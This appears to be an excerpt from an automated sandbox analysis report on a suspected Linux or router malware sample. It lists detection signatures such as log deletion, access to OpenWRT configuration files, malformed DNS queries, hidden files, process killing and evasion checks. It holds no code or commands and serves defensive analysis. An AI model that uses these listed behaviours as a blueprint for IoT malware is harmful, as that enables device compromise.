Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sends malformed DNS queries
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)
